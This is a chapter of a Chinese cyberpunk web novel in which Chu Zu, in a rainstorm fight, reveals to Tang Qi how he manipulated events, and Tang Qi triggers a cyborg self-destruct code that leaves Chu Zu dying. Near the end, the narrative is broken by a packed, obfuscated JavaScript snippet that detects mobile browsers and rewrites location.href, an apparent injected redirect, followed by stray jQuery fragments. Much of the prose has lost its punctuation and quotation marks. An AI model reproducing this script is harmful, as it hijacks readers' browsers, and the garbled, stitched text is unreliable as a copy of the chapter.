第 28 章 (1w2营养液加更二合一)

作品:《小说家的边缘角色自救指南

    第28章(1w2营养液加更二合一)


    细雨逐渐变大,雨水如尖针刺穿全息投影,卢锡安诺的身影逐渐由原本刺目的明亮转暗,最后的画面停留在他朝某人伸出手。


    随着暴雨袭来,那双手也终于彻底消失。


    取而代之的是唐崎的身影。


    他一直在投影中,依靠光影来掩盖自己位置。


    “你恨我杀了他吗?”唐崎问。


    楚祖像是还沉浸在之前的投影中,几次呼吸后才重新凝聚视线,和唐崎四目相对。


    他的脸色依旧白得透明,黑发被淋湿后贴在额头和脸侧,反应完唐崎的话后轻微斜过头。


    几秒后,唐崎心头凛然,原本满腔复杂感情消失了干净,因为他看清了楚祖变化的表情。


    男人眼睛微微弯起,眼底浓稠的红像是随时都会随着雨水一起溢出来,但又被牢牢束缚在眼眶中。


    他的嘴角也一点一点上扬,最后固定在不知能否被称为“笑容”的弧度上。


    如果戴熙安在的话,或许能辨认出来,此刻楚祖的笑容不知比当初对她露出的浅笑真心了多少。


    可唐崎从没见过,他甚至不知道,原来楚祖这种人也是会笑的,还如此……诡异。


    他只能用诡异来形容了。


    楚祖说的话更是超出了唐崎的认知。


    “我本来想,要是你不来墓地,我回去埃斯波西托大楼找你。”


    楚祖说,“我会杀了我见到的每一个人,不管他们有没有做错什么,我只用知道他们挡了我的路——我会变成我最不想成为的人。”


    唐崎愕然瞠大眼眶,瞳孔骤缩。


    楚祖接着说:“真可笑。”


    “被我害死的人到死了也在阻止我成为你。”


    唐崎不自觉后退了两步,惊悚从心底深处幽幽堵上嗓子,让他拼命才能找回声音:“你……”


    楚祖还在笑,他掀开被雨水浸湿后边重的薄毯,随手扔到地上,撑着轮椅靠手,缓慢站了起来。


    在“复活”后,男人不管在什么场合都坐在轮椅上,他的身材比例好,腿长,坐着的时候完全不显身高。


    而当他重新站起来时,一米九几的高挑身量才重新


    回到人们认知。


    楚祖先活动了关节适应许久不动弹的身体然后迈开步伐向唐崎走去。


    男人在他面前站定由上至下睥睨睨。


    他说着令人费解的话。


    “你想救艾斯我给你监视站点的位置艾斯死了。”


    “你想给下层区平等我给你机会杀了卢锡安诺下层区分崩离析。”


    “你还想做什么?想救我?”


    两人在近距离相对唐崎的瞳孔中倒映着楚祖眼中的猩红。


    他无法移开视线只能顺着那双带着笑意的眼眸看清自己狼狈的不可置信。


    楚祖嗤笑说:“唐崎你从来没有做到过嘴上说的任何事一件也没有。”


    唐崎开始止不住后退在他眼里笑着的楚祖比之前失控的杀神还要恐怖。


    世界上最令人恐惧的其实不是暴力也不是权力是披着人类皮肤戏谑所有人最终手持两者的怪物。


    唐崎终于明白了。


    他明白了楚祖并非被困在名为卢锡安诺的梦魇里常人对他的怜悯和宽容都是笑话。


    男人冷眼旁观蔑视一切他甚至不把生死放在眼里对别人和他自己一视同仁。


    楚祖才是梦魇本身。


    “你到底都做了什么?你做了什么?”唐崎声音嘶哑。


    和上次一样楚祖依旧喜欢冷不丁发难唐崎话音刚落男人身影已经出现在了眼前。


    而这次他不再需要武器被更换的半个身体就是武器。


    依旧是近距离缠斗楚祖的行为模式已经彻底改变他在动手时浑身充满了戾气抓住唐崎衣领直接往石块地面悍然一撞!


    咚——!


    唐崎护住了头


    咬牙忍住疼痛唐崎撑起身体踉跄站起抬头看到原先的地表被一拳砸出皲裂楚祖缓慢直腰侧身斜着眼直勾勾望向他。


    闪电在他身后亮起照出男人立体清晰的五官、勾起的嘴角和森寒的眼神。


    “我做了什么?”他继续活动关节缓声说“我做了所有事。”


    “我把监视站点告诉你惹


    怒卢锡,让他无差别冲其他人宣泄怒火,由此得到埃斯波西托其他人的支持。”


    “我葬身你面前,让你狠下心对上层发起攻势,卢锡不得不对九死一生的我下手,继而让我抽身。”


    “我放任他们的小动作,等你杀了卢锡——”


    男人顿了顿。


    “说真的,你唯独不该杀了卢锡,送我报仇的名义。上层区同情我,支持我,认为我是个哪怕被卢锡折磨得无路可走,依旧忠于他的傻子。”


    楚祖声音异常轻松:“你还想知道什么?”


    “下层区……”唐崎嘶哑说。


    下层区,他们共同的“故乡”。


    唐崎一直觉得楚祖对下层区是有感情的,不论是厌恶还是怀念,男人在下层区时总会露出茫然又孤苦的表情,毫无缘由。


    他也无法解释为什么被下层区折磨过的人会在意那个地方,他很害怕从楚祖口中听到更多残酷的解释,梦魇的想法是人类难以理解的。


    无法理解,无法共情,但会做实对方非人的身份,从而使人心怀恐惧。


    “下层区……”楚祖无所谓咀嚼这个称呼,“我其实很认同你的观点。”


    “上下层是单纯的地理垂直关系,没有谁比谁更高贵,你、我、卢锡安诺,我们没有区别。”


    “唐崎,在那个位置之下,所有东西于我而言都没有区别。”


    如同被洞穿,唐崎直直凝固在原地,灵魂轰然被砸进冰川之下。


    楚祖什么都明白,他甚至踩在自己和卢锡安诺的理念之上,一点点往上爬,就像当初在列车事故现场。


    灾难只是楚祖的垫脚石。


    砰——


    枪声没能撼动雨幕。


    楚祖将机械锁骨上的子|弹挖了出来,两根手指捻着,唐崎苍白的脸被困在围成圈的手指间。


    “有妨碍瞄准辅助的赛博格,你连我的脑袋也射不中吗?”


    唐崎左眼狂跳。


    唐家的赛博格加上埃斯波西托的军工,现在的楚祖等同于将意识上传到战争机器的机械生物。


    别说枪|械了,就算全副武装的检察控制部来了也讨不了好!


    “所以我才说过很多次,你凭什么可怜我?我做到了想做的一切,而你呢,唐崎?除了自


    我安慰外你都干了些什么?


    在他们为数不多的接触中,唐崎才是话多的那个。


    这还是第一次,唐崎什么都说不出来,只有楚祖冷嘲热讽的讥诮回荡在雨夜。


    楚祖没有给他太多喘息的时机,单方面的肉搏还在继续。


    一个有压倒性的技术和力量,一个在发了狠的抗争。装帧好的花园被巨大的破坏性摧毁成半个废墟,花瓣残落得四处都是,被暴雨砸入石块裂缝。


    不知是谁碰到了全息投影,卢锡安诺的身影再度出现在夜色中,音响进了水,勉强发出声音:


    ——有收到我给你的礼物吗?怎么样,这次选对了吧!


    ——解决那些废物怎么就花了你这么多时间,楚祖,我们约了饭,你是不是忘了。


    ——背着吉夫斯去议会大楼转一圈,去不去?哈哈,我就知道你不会拒绝。


    ——走吧,我们一起。


    年少轻狂的卢锡安诺浑身都在雨幕中,笑容明媚灿烂,让人想起调色盘打翻在花朵上,阳光绚丽的春天。


    他依旧向楚祖伸出手,楚祖回以冷漠如雷霆万钧的肘击,精准命中藏身于投影中的唐崎。


    颈椎被击中,唐崎只感觉像是整栋楼都砸到了他脖子上,骨骼发出了恐怖的脆响。


    唐崎机械地躲避,他看着楚祖一脚碾碎了投影设备,雨幕中的金发男人出现频闪,终于彻底消失于他的花园。


    恍惚间,唐崎突然想起了在下层区的时候。


    当时楚祖也是完全压制着他,他区分不出那时男人口中的是否也是谎言,但杀意惊人的相似。


    两个楚祖在眼前逐渐重合了,可这次没有什么“疼痛的意外


    死亡的味道是如此清晰,萦绕在雨水的化学药剂中,又在喘息间淌入嘴角,灌进肺里。


    剧痛让唐崎眼前发黑,他完全没料到自己的人生会结束在这场暴雨里,就和列车事故一样,堪称天|灾,人类的意志是那么微不足道,撼动不了注定的结局。


    黑暗中,一道声音不受控制出现在唐崎脑海。


    ——其实你可以轻而易举地杀了他。


    就像直刃劈开死局,声音的内容将暴雨连同绝望一起割断。


    ——他的命明


    明就在你手里握着。


    ——你不想否定他吗?


    唐崎很熟悉这个声音曾经无数次在他脑海中响起过。


    每当他必须作出决定声音就会出现


    你要够狠你要把事做绝你要抛弃可笑的怜悯不管上层区还是下层区没人看得上你的那点坚持。


    唐崎一直将声音束之高阁他宁可听千万人咒骂也不愿意搭理内心的谗言。


    选择轻松的路太简单了真要说上层区和下层区每个人都活得比他轻松。


    只要把决定权交出去懒惰就是最好的回报大不了任人宰割。


    这个时代每个人都在任人宰割这并不羞耻也不差劲。


    可唐崎不要。


    任何人都能跪得漂亮他不想跪也不想看和自己如出一辙的人们下跪。


    只有强者向弱者倾泻资源才能实现弱者的生存吗?不吧。


    抵抗这狗屎一样的世界不需要意义抵抗本身就是意义。


    齿轮也有齿轮的意气。


    ——唐崎原本是这么想的。


    但是……但是……


    ——你不杀了他整个世界都会被他拽入地狱他就是地狱。


    唐崎已经不知道身上有多少伤了。


    下层区的人打架像野兽相互撕咬上层区要优雅得多他们称之为搏击家族不会教继承人怎么用双手杀人有大把的人帮他们去做。


    唐崎也算是将两者融会贯通但他无论如何也不会是楚祖的对手这是明摆着的事实。


    上次楚祖收手是因为突如其来的疼痛……如果不是那份基因复诊报告上清楚写明唐崎会认为疼痛也是楚祖的谎言。


    现在的楚祖已经驯服了疼痛他不会再失手!


    因此那声音宛如魔鬼紧贴耳廓的低喃反复劝诱他。


    ——如果人们的诞生不是为了痛苦与绝望那就只有疯狂了。


    唐崎痛苦地扶住脖子咳出血他认出了那是自己的声音。他好像在说话但已经逐渐分不清那些话有没有被说出口。


    鲜血和暴雨模糊了他的视线他也看不清楚祖是不是依旧在笑。


    胜券在握的笑。


    他说的对我其实和卢锡安诺没有


    区别。


    恍惚间,唐崎想。


    卢锡安诺被逼急了会忽视那么些年的陪伴,他在无路可走的时候也会将坚持抛之脑后。


    此刻他忽然明白,楚祖说的每句话都有自己的意思,卢锡安诺没能弄明白,自己也一样。


    所以卢锡安诺死了,而自己……不必死。


    ——对,你有密码。


    ——控制赛博格的中枢装置就在你的眼睛里,只要你想,你随时可以杀了他。


    ——动手吧,仅此一次,楚祖不值得你坚守任何誓言。


    对这个世界而言,违背誓言是再平常不过的事,不论是上层区还是下层区,口头的约束廉价到卑贱。


    唐崎终于从名为理想的美梦中惊醒了。


    唐崎艰难跪在暴雨中,浑身湿透,雨水将地上的红反复冲刷开。


    他好似灵魂抽离般,像悬浮在半空,得以看清自己的每个动作。


    他挖出了自己的右眼,并在楚祖迅速贴近前合上了剩下的那只眼睛,轻声念出了一串烂熟于心的数字。


    赛博格扫描……就近编号确认。


    声纹扫描通过。


    声波分析通过。


    语音图谱通过。


    声码追踪通过。


    应急销毁程序启动。


    来吧,你和我的疯狂总要有个结局,这才是「宿敌」,不是吗?


    唐崎想。


    一切只发生在瞬息。


    致命的攻击没能触碰到唐崎,重物倒地的声响居然比雨声还轻。


    唐崎睁开单眼,楚祖躺倒在废墟上,机械与身体相连的部位渗出血,愈来愈浓,连暴雨也冲不淡。


    血从他身下渗透入石峰,将娇弱的花瓣也染上色。


    赛博格失控直接扰乱了与之相连的神经,放在普通人身上,或许早就开始了剧烈挣扎,可楚祖的神经本来就就脆弱无比,他连挣扎的余地都没有。


    他的死亡过程会很缓慢,并遭受常人难以想象的痛苦。


    唐崎模模糊糊看到,楚祖的胸腔在剧烈起伏,光是睁开眼都费力,看向他的眼神却没有了之前的所有诡谲,被雨洗很干净。


    干净……?


    “我真讨厌你的眼神……楚祖嘶声说,“你总是……觉得我很可怜……


    ”


    唐崎张了张嘴,哑声。


    他不知道楚祖在说什么。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129597|139856||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “其实你是觉得自己可怜……可你是唯一的赢家……”


    楚祖说,“假惺惺的救世主……你没必要……没必要难过,我本来就……活不了多久……基因缺陷……对吧?”


    意识被这句话唤回,唐崎的心跳漏了一拍。


    因为男人不断施加的压力,他撕毁了自己绝不使用密码的誓言。


    也是令人绝望的压力让他忘了最重要的事——他只身前来的原因。


    唐崎突然想起来。


    楚祖本来就快死了。


    直觉作祟,一种强烈的恐惧笼罩了他,他讲不清楚为什么,或许是楚祖之前的那句话又得到了印证。


    唐崎,你从来没有做到过嘴上说的任何事,一件也没有。


    不,不,不,楚祖死了,暴雨停歇,夜晚过去,太阳升起。


    操纵一切的黑色梦魇消失,事情只会变好,哪怕你成了和卢锡安诺一样的人……你们依旧是不同的,你没那么坏,没那么没有尊严。


    唐崎拼命劝说自己,跌跌撞撞往楚祖的方向挪去。


    男人只是用了然的虚弱目光看着他。


    唐崎心头的恐惧加深了。


    要命的直觉还在疯狂提醒他违和之处。


    他会去基因工程管理局,是因为楚祖说:这是你制造的痛苦,唐崎,我会让你付出代价。


    痛苦很容易让他联想到楚祖突如其来的痛感。


    于是他去调查,发现了楚祖基因缺陷迅速恶化的事实。


    一个知道自己时日无多的复仇者会做出什么?


    唐崎不加犹豫就删掉了数据,把相关医生扣押去了下层三十二区。


    那时他想,其实他和楚祖之间唯一的矛盾只剩下卢锡安诺的死,楚祖不必因为那种人丧命。


    唐崎本来想和他好好聊聊的。


    唐家的基因技术继续钻研下去未必不能找到基因缺陷的突破口,他们完全可以暂时握手言和,什么痛苦,什么仇恨……都能往后放。


    他准备好了休眠仓,哪怕楚祖不愿意他也要把人塞进去。


    没什么比活着更重要。


    楚祖没有给他这个机会,他残忍地撕开了虚伪


    的假面。


    思绪一旦奔驰就无法停住脚步,唐崎觉得自己的头痛得快要裂开,各种奇怪的想法顺着线索塞满了他的脑海,得不出结论后直接在脑中炸开。


    唐崎并不陌生这类不算联络的联络方式。


    之前楚祖也是凭一句“你痛吗,让他展开调查,从而见了面,把监视站点透露给了他。


    这次也一样,楚祖主动掀开了幕布的一角,唐崎负责慷慨赴约,走上了悲剧舞台。


    舞台有演员,有故事,自然就有编剧,有导演。


    楚祖身兼数职,把所有人都陆续请了上来,没用的尸体被垫在脚底,好帮助他成为舞台唯一的主角。


    那……那个小孩呢?


    楚祖的孩子呢?


    卢锡安诺还活着的时候,楚祖就把孩子接到了身边,可他从来不会主动提起。


    他的儿子在所有事情中隐身,安静得像是不存在。


    唐崎非常害怕自己想要触碰的真相,他还在不断寻找论据来说服自己。


    好像只要证明楚祖真的并非人类,自己就能长长松一口气。


    可能楚祖压根不在乎那个小孩,那只是他放在卢锡安诺眼皮子底下的软肋……


    即使不是又能怎样?他做的事难道还不能证明他的恶劣之处?


    或许他真的很爱他的孩子,那又能有多爱,比得上他所追求的东西吗?


    鲜血从楚祖嘴角溢出,他痛到筋挛,好一阵后才咳完嗓子里的余血。


    “你终于做对了一次……又在害怕什么……别幼稚……


    唐崎扶着膝盖站起来,踉跄着想离开楚祖。


    他的脸色比地上失血过多的男人更惨白,但脱力的身体不听使唤,他摔倒在地上,石砾嵌入掌心伤口里。


    唐崎呆呆地看着鲜血淋漓的手,几秒后,比眼眶还要锥心的痛感传到大脑。


    这是他第一次知道,试图逃避的伤口比违背誓言的创面还要痛。


    楚祖发出了很轻的笑声。


    唐崎机械扭动脖子,麻木面对着地上的人。


    原来他真的会笑,眼睛微微弯着,没有令人不适的情绪,像是看到好友出丑后发出的善意调侃。


    “听着,把我做的告诉……所有人,你是击溃了魔鬼的……救


    世主……


    “下层自治……按照你的方案修改……法案已经通过,议会找不出理由……


    “别急……急不来……你有时间,只需要耐心。除非主动放弃……定义权一直在你手里……这是你的新世界……


    唐崎愣愣看着拼命撕开喉咙的楚祖,不知哪来的力气,霍然起身,将楚祖上半身扶起。


    所有的事都变得虚无缥缈,他想马上带男人去治疗,一切都还能挽回……一定能挽回!


    楚祖没阻拦,也无力阻拦,只是说:“很痛。


    他把这两个字说得格外清楚。


    “我比你想的……要窝囊……很痛,真的很痛……


    痛到这份上还能继续表述,除了回光返照之外再也没别的形容了。


    两个人都在颤抖,唐崎已经不知道自己还能做什么,他跪坐在地上,让楚祖躺在膝盖,不敢再碰他一毫。


    “也别把我……想太好……我是想杀了你,输了……那我就必须死在你手里……只能是你。我信你一次……你说的世界……


    楚祖虚眼看他的眼睛,试图举起金属手臂,错连的神经只是让他半个身体微弱颤动了一下。


    于是他说,“口袋……唐崎……我的口袋……


    唐崎从他外套口袋里拿出了一个深咖色皮质钱包。


    钱包里只装了几张来自下层区的废纸,皱巴巴的,雨一泡就烂了。


    “现在我……只有这些了。


    楚祖说,“老好人……帮我个忙……


    唐崎呆呆说:“什么忙?


    “西德尼……


    楚祖的眼神柔软下来,像随时都会随着雨溢出似的。


    “西德尼的……芒果树……浇水……


    男人虚弱的话在唐崎脑海中回荡,他怀疑自己听错了。


    他不知该从何说起,评价什么都好累赘。


    楚祖是个这么简单的人么?简单的有点傻了。


    他居然把小时候卢锡安诺不要的东西留到现在,还以为能继续交易,托付的又是毫无分量的琐事。


    他那么会算计,到头来想着的居然还是……有没有人给小孩的那几棵树浇水?


    这算什么?亲情?他和西德尼满打满算也只相处了那么点时间